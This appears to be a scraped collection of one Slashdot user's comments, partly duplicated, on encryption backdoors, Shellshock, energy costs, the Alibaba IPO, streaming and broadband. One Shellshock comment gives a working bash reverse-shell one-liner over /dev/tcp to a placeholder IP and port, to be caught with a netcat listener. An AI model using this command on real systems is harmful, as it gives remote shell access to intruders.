I am having difficulty understanding how giving opposing views on an issue or news item in any way hinders free speech.
Expressing even the idea that alternatives are possible fundamentally spreads those ideas and may even legitimize them in the minds of some. This is my issue with most of our civil rights laws as well, they should be unconstitutional. In order for Freedom of Speech or Freedom of Association to have any real meaning you also need Freedom from Speech and Freedom from association.
Liberals agree with this principle when its something they support like anti-nationalism, lefties will be happy to show up and defend your right NOT to say the "Pledge of Allegiance", or to stand up for atheistic principles like your right not have to swear on the Bible lest you be associated with some faith. These same people will turn on folks in the blink of eye if they don't want to say be associated with a minority of some kind, and not hire them or whatever.
Same principle here, nobody anywhere for any reason ought to be forced by government to state an opinion they think is wrong. The right NOT to speak something should be taken every bit as seriously as the right to speak. The other thing about the fairness doctrine was there was always an underlying assumption that some options were so radical and out of norm they did not have to be given air time. Who got to decide that though? The news agencies firstly and second the FCC which thought not very transparent processes did or did not take action.
So the fairness doctrine was in fact only really fair to people who had views that represented at least a large minority. Fringe ideas could still easily be hidden away. Which is probably a good thing, otherwise anytime someone bring up WW2 we'd have to endure listing to "Of course Adolf may have been right about Semitic peoples, and the final solution may have substantively improved western society" You don't want to require news to report mindless disgusting ideas like that.
No I think in the end the only really workable plan is let people/institutions report what they thing, let individuals decide if they have been presented with facts that support those ideas or not.
Backdoors are a threat to national security; because there is ALWAYS a risk they will be discovered by other parties or that the mechanism for their operation will prove to be exploitable.
That could leave us in a situation where an enemy, very likely even an enemy without state resources could find themselves in a position where they can disrupt/eavesdrop/other wise access just about all non-military equipment. Its terrible idea when we face threats like ISIS to deliberately weaken our information security posture. It could be economically crippling.
I am leaving out all arguments about civil liberties basic freedoms etc because the Intelligence committee types, and the FUCKING FREEDOM HATING ASSHOLES like Holder don't care about those arguments.
It comes down to this while backdoor the whole world might prevent a tiny number of crimes against children it puts the entire American way of life at risk. We had this conversation before in the 90's with Skipjack and our society made the right choice back then, for whatever reasons wrong or right. It was only 20 some years ago, the world has not changed that much; this is not the time to re-evaluate this.
Holder is bad rubbish and its good a thing he will soon be gone.
I think you are correct on this point, I was a little too quick. Still I suspect there would be issues; which people who make heavy use of the shell would 'feel'
Consider ssh->bash->screen->bash. The first bash will be a login shell that sources the profile, the second will be a subshell, and would no longer have the functions defined. Sure there are plenty of ways to 'solve' that problem but will certainly require some alterations to common work flows.
Whoa I did not advise anything other than caution.
There is plenty of evidence a transition of some kind will take place. Simple physics tells us its going to be most efficient to use energy as near to where its produces as possible. We know real soon now (because its already the case; electric/hybrid cars) we are going to have reasonable capacity storage devices all over the place.
So something is going to happen.
because the rich simply don't spend much money on energy
They spend lots on energy, certainly lots more than the poor do, as a percentage of their income no its not as much but its more in absolute terms. I have a relative who's house is approx 13,000sqft + a carriage house that is about another 2500sqft of finished space or so. I can tell this person spends more on A/C in the summer than I have paid for my last two NEW cars.
This is my point; that is the sort of individual who is going to look at the costs and go, oh if I put in a battery room and a large solar array I can save all kinds of money, but that is also the person who can invest 30K all at once in doing that. That isn't an option for the paycheck to paycheck masses.
They will get stuck being slowly squeezed for more each month because they won't be able to get the capital together to buy their way out; until one day they won't be able to afford gird prices anymore and it will bye bye to 24-7 electricity for them.
Passing functions on environment variables is a feature, executing code after the function definition is parsing error.
As the article states is was never documented, and after trying really hard can't think of legitimate reasons to do it when there is a defined documented method for executing statements in the subshell via arguments "-c"
Which is not say, it was never done via someone doing some "clever" programing but if it was it probably was not a "good idea"
So no I think its bug, and a bit dishonest to try an spin it otherwise.
Yes but the problem is and has always been Microsoft does not really use the NT security model but instead "re-implements" lots of controls in upper layers. Those layers in the past tended to be running with pretty high NT model privileges (that has gotten much better).
Well that is the trouble with the planned economy model, but the poster does have a point. One of the "nice" things we can say about life in the USA is that pretty much everyone has access to affordable electricity.
You have be truly dirt poor before you get the point where you can't keep the lights on.
The more folks decided they can live without the grid, which is a decision people would make, hmm $20 a month or possibly a day or so without electricity somtime in the future while the solar installation techs get out to replace my inverter...
Many people will chose to go off grid. People with the wherewithal to make the capital investment. That will start to make the cost of staying connect higher for those who remain because the total miles of cable the power company has to maintain won't be shrinking much. It will feedback, as costs go up more people will make the investment in disconnecting.
That means those who can't make that investment get left behind, if nothing else comes along to further disrupt things eventually their may be no electrical utility (it won't be profitable to run one, when the only customers you have left are those most likely to default on their bills).
So we do need think about how to manage this transition, and as much as it pains me to say it, that probably does require 'government action' because I don't think we as a society really want to move backward to where there are haves and have nots when it comes to affordable electricity.
Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.
If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.
Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.
Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!
Which is completely meaningless. My energy bills can easily vary that much over a year depending weather conditions; without me doing anything around my own behavior. $300 in the typical ~2500 ft suburban home over a the course of an entire year is indistinguishable from noise.
Seriously how many times will it take one of these things running the heat or AC constantly either because its a badly built hunk of crap or because someone pwned it before they wish they'd have stuck with their 10 year old setback?
If he actually cares about decent hard working Americans he saves Amazon because Amazon investors at least own the company and Amazon is a US company providing a useful potentially profitable service.
Alibaba investors on the other hand are Wall Street gamblers who don't actually own anything other than some moon beam and unicorn promises that Alibaba really will distribute its profits to the Cayman islands company they actually own. That also presupposes the Chinese government won't just decide the whole arrangement isn't legal in the first place.
I know I can't believe this facts are being so under reported myself. The Alibaba management or the Chinese government (which probably could no matter what) is basically able to do just about anything they want and completely screw the investors who will be left with essentially no recourse legal or otherwise.
Its crazy to get into this deal where equity investors have essentially no rights or claim.
The cynic in me thinks the institutional guys buying up this IPO know this perfectly well and plan to unload it all on the retail folks before the next show drops. This deal stinks in so many ways; hopefully good people and their 401k managers will have enough sense to stay the hell away from it.
I agree I like Netflix a lot. $8 a month is a bargain compared to pretty much every other option.
I am going to go see the major "Block Buster" titles I am actually interested ( maybe three of four a year ) at the cinema with buddies; those are social events and quite honestly, (/me ducks the incomming flames) movies like Avengers while good are only great out with pals. Take the social component away and try watching the film alone in your living room and its far less compelling.
Maybe its because I don't generally watch movies for the sake who can show me the most photo real destruction of NYC and the occasional boom mike or obvious cardboard cutout in the shot does not ruin the suspension of disbelief for me; but I find that many of the Indie stuff Netflix offers me is just as entertaining as the AAA stuff Hollywood churns out. In the end that is what I want out of it to relax and be entertained.
Rating everything definitely helps you get good suggestions and the flat rate all you can eat model makes it safe to take a chance on something. If after 30min you find you are not enjoying a flick switch to something else and you are not out anything more than a little time. Even placing $2 bets on iTunes or something you could easily exceed the cost of Netflix without having had much fun to show for it.
I listed SeaMonkey first for a reason that is the browser I use. First because it comes with a mail client that runs in process, and I need a mail client running most of the time anyway. The IRC client is not great but its useable. Finally the browser UI itself is sane, If you get rid the "home" bar which you can the interface is not cluttered but does put the tools you need for the web at your finger tips; rather than hiding them.
I don't get the minimalist interface crap, no I don't need fifty bars and side panels, but there is plenty of room for useful things like the address bar, status bar, and menu bar + nav buttons. Why that can't be displayed with a "full screen mode" option for when you really need the space is baffling to me. Did everyone go back to 640x480 and not send me the memo or something?
I basically included Firefox because its the same HTML rendering engine underneath so when one gets support the other browser will as well; and if you don't want to use SeaMonkey for some reason the Firefox UI can be "fixed" with a few plugins.
Thanks for pointing out the issue is EME; was not sure what the missing feature secret sauce was. Now I'll know what to watch for in the change logs!
The is nothing necessarily wrong with that. If they get a warrant to do than its fine. If they do so without a warrant they will CLEARLY have been acting as an agent of the state and the evidence will be in admissible.
What this does is give Apple cover from the accusation they are providing a convenient back door for the government to go on fishing expeditions. "We don't let the FBI/NSA/etc" just browse thru your stuff on our servers because we can't just browse thru it."
It does not mean for a second they won't cooperate with a legal warrant.
It used to be people only had one TV and everyone watched the same thing. It isn't a lie that 4Mbps is enough! You can utilize pretty much any online service offering with that. You are not missing out on any economic opportunities etc with access to that much speed. You can telecommute with that just fine.
Would you like more so everyone can use it at the same time, sure you'd probably also like everyone in the family to have their own bathrooms and their own car too but plenty of house holds can't afford those either. Unlimited wants limited resources is nothing new.
Lets be careful with "needs" vs. "wants" here. I think it would be a good policy to try and make sure everyone has access to "broadband" and that needs to be defined so 128k does not get called broadband, but we also need to avoid setting the bar to high so the effort does not fail or get written off as too pricey.
2 Netflix streams is asking a lot from 3Mbps but have you considered it might be your router that is the issue. I have a 3up/6dn connection and I don't have any of the problems all these people are complaining about with their 10Mbps+ connections.
So either their ISPs suck and are way over subscribed so the fact they get 10Mbps to the CO is meaningless because from there they just queue
Or their home routers are not up to the task. That 7 years Linksys probably can't handle large numbers of flows and high packet rates well. Probably not even enough to saturate 3Mbps connection in worst case conditions. Really get yourself and ASA off Ebay or go buy a nice shiny new higher end consumer device on Newegg. You will probably find things run much better.
Maybe you should consider living somewhere else than if you want a career in IT. Through all of history the characteristics and features of a geographic location have dictated the type of economic activity that goes on there.
Ever wonder why big cities tended to be near rivers or coasts ( at least prior the development of the automobile? ) there is a reason!
Wonder why all those orange groves get planted in Florida and not Maine?
I do IT consulting work mostly from home, but hop a plane about one a month currently. I am looking to live to more rural area myself because I am hiker and it would be nice to near on of the big State or National parks, but I have made it perfectly clear to my real estate agent that I can't look at properties unless they have good high speed internet service available at the location (by good I mean 800Kbps up down or better low latency; which is enough to remote into virtual servers where you do your real work from at the corporate offices).
You just don't always get to have it both ways! If you want to work in Information technology you probably have to stick close to where certain infrastructure is, and there are good economic reasons for where that is and isn't. You probably should consider another career path or maybe moving.
Slashdot Mirror
I am having difficulty understanding how giving opposing views on an issue or news item in any way hinders free speech.
Expressing even the idea that alternatives are possible fundamentally spreads those ideas and may even legitimize them in the minds of some. This is my issue with most of our civil rights laws as well, they should be unconstitutional. In order for Freedom of Speech or Freedom of Association to have any real meaning you also need Freedom from Speech and Freedom from association.
Liberals agree with this principle when its something they support like anti-nationalism, lefties will be happy to show up and defend your right NOT to say the "Pledge of Allegiance", or to stand up for atheistic principles like your right not have to swear on the Bible lest you be associated with some faith. These same people will turn on folks in the blink of eye if they don't want to say be associated with a minority of some kind, and not hire them or whatever.
Same principle here, nobody anywhere for any reason ought to be forced by government to state an opinion they think is wrong. The right NOT to speak something should be taken every bit as seriously as the right to speak. The other thing about the fairness doctrine was there was always an underlying assumption that some options were so radical and out of norm they did not have to be given air time. Who got to decide that though? The news agencies firstly and second the FCC which thought not very transparent processes did or did not take action.
So the fairness doctrine was in fact only really fair to people who had views that represented at least a large minority. Fringe ideas could still easily be hidden away. Which is probably a good thing, otherwise anytime someone bring up WW2 we'd have to endure listing to "Of course Adolf may have been right about Semitic peoples, and the final solution may have substantively improved western society" You don't want to require news to report mindless disgusting ideas like that.
No I think in the end the only really workable plan is let people/institutions report what they thing, let individuals decide if they have been presented with facts that support those ideas or not.
Have you carefully accounted for the input carbon it takes to create that LED bulb vs, that old tungsten filament in glass?
Its still a win, over the life time of the bulb but not nearly the wind the 'green' marketing folks would have you believe.
Backdoors are a threat to national security; because there is ALWAYS a risk they will be discovered by other parties or that the mechanism for their operation will prove to be exploitable.
That could leave us in a situation where an enemy, very likely even an enemy without state resources could find themselves in a position where they can disrupt/eavesdrop/other wise access just about all non-military equipment. Its terrible idea when we face threats like ISIS to deliberately weaken our information security posture. It could be economically crippling.
I am leaving out all arguments about civil liberties basic freedoms etc because the Intelligence committee types, and the FUCKING FREEDOM HATING ASSHOLES like Holder don't care about those arguments.
It comes down to this while backdoor the whole world might prevent a tiny number of crimes against children it puts the entire American way of life at risk. We had this conversation before in the 90's with Skipjack and our society made the right choice back then, for whatever reasons wrong or right. It was only 20 some years ago, the world has not changed that much; this is not the time to re-evaluate this.
Holder is bad rubbish and its good a thing he will soon be gone.
That was my initial reaction but then Tetris' total lack of plot and cannon also gives the writers near total freedom.
I mean hell you could make a movie about a struggling deliver service improving their efficiency through better packing efficiency and call it Tetris.
I think you are correct on this point, I was a little too quick. Still I suspect there would be issues; which people who make heavy use of the shell would 'feel'
Consider ssh->bash->screen->bash. The first bash will be a login shell that sources the profile, the second will be a subshell, and would no longer have the functions defined. Sure there are plenty of ways to 'solve' that problem but will certainly require some alterations to common work flows.
Whoa I did not advise anything other than caution.
There is plenty of evidence a transition of some kind will take place. Simple physics tells us its going to be most efficient to use energy as near to where its produces as possible. We know real soon now (because its already the case; electric/hybrid cars) we are going to have reasonable capacity storage devices all over the place.
So something is going to happen.
because the rich simply don't spend much money on energy
They spend lots on energy, certainly lots more than the poor do, as a percentage of their income no its not as much but its more in absolute terms. I have a relative who's house is approx 13,000sqft + a carriage house that is about another 2500sqft of finished space or so. I can tell this person spends more on A/C in the summer than I have paid for my last two NEW cars.
This is my point; that is the sort of individual who is going to look at the costs and go, oh if I put in a battery room and a large solar array I can save all kinds of money, but that is also the person who can invest 30K all at once in doing that. That isn't an option for the paycheck to paycheck masses.
They will get stuck being slowly squeezed for more each month because they won't be able to get the capital together to buy their way out; until one day they won't be able to afford gird prices anymore and it will bye bye to 24-7 electricity for them.
You mean like practically everyone's .profile
Passing functions on environment variables is a feature, executing code after the function definition is parsing error.
As the article states is was never documented, and after trying really hard can't think of legitimate reasons to do it when there is a defined documented method for executing statements in the subshell via arguments "-c"
Which is not say, it was never done via someone doing some "clever" programing but if it was it probably was not a "good idea"
So no I think its bug, and a bit dishonest to try an spin it otherwise.
Yes but the problem is and has always been Microsoft does not really use the NT security model but instead "re-implements" lots of controls in upper layers. Those layers in the past tended to be running with pretty high NT model privileges (that has gotten much better).
Not sure on the exact details of OSX DHCP handling (did not dig through it all) but no it was not vulnerable, based on a quick empirical test.
Well that is the trouble with the planned economy model, but the poster does have a point. One of the "nice" things we can say about life in the USA is that pretty much everyone has access to affordable electricity.
You have be truly dirt poor before you get the point where you can't keep the lights on.
The more folks decided they can live without the grid, which is a decision people would make, hmm $20 a month or possibly a day or so without electricity somtime in the future while the solar installation techs get out to replace my inverter...
Many people will chose to go off grid. People with the wherewithal to make the capital investment. That will start to make the cost of staying connect higher for those who remain because the total miles of cable the power company has to maintain won't be shrinking much. It will feedback, as costs go up more people will make the investment in disconnecting.
That means those who can't make that investment get left behind, if nothing else comes along to further disrupt things eventually their may be no electrical utility (it won't be profitable to run one, when the only customers you have left are those most likely to default on their bills).
So we do need think about how to manage this transition, and as much as it pains me to say it, that probably does require 'government action' because I don't think we as a society really want to move backward to where there are haves and have nots when it comes to affordable electricity.
None of that, if you have a vulnerable version of bash and use DHCP that is enough
Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.
If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.
Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.
Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!
Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.
It can be compiled without it but in general its present on most linux systems.
echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)
Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.
Which is completely meaningless. My energy bills can easily vary that much over a year depending weather conditions; without me doing anything around my own behavior. $300 in the typical ~2500 ft suburban home over a the course of an entire year is indistinguishable from noise.
Seriously how many times will it take one of these things running the heat or AC constantly either because its a badly built hunk of crap or because someone pwned it before they wish they'd have stuck with their 10 year old setback?
If he actually cares about decent hard working Americans he saves Amazon because Amazon investors at least own the company and Amazon is a US company providing a useful potentially profitable service.
Alibaba investors on the other hand are Wall Street gamblers who don't actually own anything other than some moon beam and unicorn promises that Alibaba really will distribute its profits to the Cayman islands company they actually own. That also presupposes the Chinese government won't just decide the whole arrangement isn't legal in the first place.
I know I can't believe this facts are being so under reported myself. The Alibaba management or the Chinese government (which probably could no matter what) is basically able to do just about anything they want and completely screw the investors who will be left with essentially no recourse legal or otherwise.
Its crazy to get into this deal where equity investors have essentially no rights or claim.
The cynic in me thinks the institutional guys buying up this IPO know this perfectly well and plan to unload it all on the retail folks before the next show drops. This deal stinks in so many ways; hopefully good people and their 401k managers will have enough sense to stay the hell away from it.
I agree I like Netflix a lot. $8 a month is a bargain compared to pretty much every other option.
I am going to go see the major "Block Buster" titles I am actually interested ( maybe three of four a year ) at the cinema with buddies; those are social events and quite honestly, (/me ducks the incomming flames) movies like Avengers while good are only great out with pals. Take the social component away and try watching the film alone in your living room and its far less compelling.
Maybe its because I don't generally watch movies for the sake who can show me the most photo real destruction of NYC and the occasional boom mike or obvious cardboard cutout in the shot does not ruin the suspension of disbelief for me; but I find that many of the Indie stuff Netflix offers me is just as entertaining as the AAA stuff Hollywood churns out. In the end that is what I want out of it to relax and be entertained.
Rating everything definitely helps you get good suggestions and the flat rate all you can eat model makes it safe to take a chance on something. If after 30min you find you are not enjoying a flick switch to something else and you are not out anything more than a little time. Even placing $2 bets on iTunes or something you could easily exceed the cost of Netflix without having had much fun to show for it.
I listed SeaMonkey first for a reason that is the browser I use. First because it comes with a mail client that runs in process, and I need a mail client running most of the time anyway. The IRC client is not great but its useable. Finally the browser UI itself is sane, If you get rid the "home" bar which you can the interface is not cluttered but does put the tools you need for the web at your finger tips; rather than hiding them.
I don't get the minimalist interface crap, no I don't need fifty bars and side panels, but there is plenty of room for useful things like the address bar, status bar, and menu bar + nav buttons. Why that can't be displayed with a "full screen mode" option for when you really need the space is baffling to me. Did everyone go back to 640x480 and not send me the memo or something?
I basically included Firefox because its the same HTML rendering engine underneath so when one gets support the other browser will as well; and if you don't want to use SeaMonkey for some reason the Firefox UI can be "fixed" with a few plugins.
Thanks for pointing out the issue is EME; was not sure what the missing feature secret sauce was. Now I'll know what to watch for in the change logs!
When will it work in Seamonkey and Firefox; that is what I care about, Chrome's interface sucks! and I don't want to run two browsers.
The is nothing necessarily wrong with that. If they get a warrant to do than its fine. If they do so without a warrant they will CLEARLY have been acting as an agent of the state and the evidence will be in admissible.
What this does is give Apple cover from the accusation they are providing a convenient back door for the government to go on fishing expeditions. "We don't let the FBI/NSA/etc" just browse thru your stuff on our servers because we can't just browse thru it."
It does not mean for a second they won't cooperate with a legal warrant.
It used to be people only had one TV and everyone watched the same thing. It isn't a lie that 4Mbps is enough! You can utilize pretty much any online service offering with that. You are not missing out on any economic opportunities etc with access to that much speed. You can telecommute with that just fine.
Would you like more so everyone can use it at the same time, sure you'd probably also like everyone in the family to have their own bathrooms and their own car too but plenty of house holds can't afford those either. Unlimited wants limited resources is nothing new.
Lets be careful with "needs" vs. "wants" here. I think it would be a good policy to try and make sure everyone has access to "broadband" and that needs to be defined so 128k does not get called broadband, but we also need to avoid setting the bar to high so the effort does not fail or get written off as too pricey.
2 Netflix streams is asking a lot from 3Mbps but have you considered it might be your router that is the issue. I have a 3up/6dn connection and I don't have any of the problems all these people are complaining about with their 10Mbps+ connections.
So either their ISPs suck and are way over subscribed so the fact they get 10Mbps to the CO is meaningless because from there they just queue
Or their home routers are not up to the task. That 7 years Linksys probably can't handle large numbers of flows and high packet rates well. Probably not even enough to saturate 3Mbps connection in worst case conditions. Really get yourself and ASA off Ebay or go buy a nice shiny new higher end consumer device on Newegg. You will probably find things run much better.
Maybe you should consider living somewhere else than if you want a career in IT. Through all of history the characteristics and features of a geographic location have dictated the type of economic activity that goes on there.
Ever wonder why big cities tended to be near rivers or coasts ( at least prior the development of the automobile? ) there is a reason!
Wonder why all those orange groves get planted in Florida and not Maine?
I do IT consulting work mostly from home, but hop a plane about one a month currently. I am looking to live to more rural area myself because I am hiker and it would be nice to near on of the big State or National parks, but I have made it perfectly clear to my real estate agent that I can't look at properties unless they have good high speed internet service available at the location (by good I mean 800Kbps up down or better low latency; which is enough to remote into virtual servers where you do your real work from at the corporate offices).
You just don't always get to have it both ways! If you want to work in Information technology you probably have to stick close to where certain infrastructure is, and there are good economic reasons for where that is and isn't. You probably should consider another career path or maybe moving.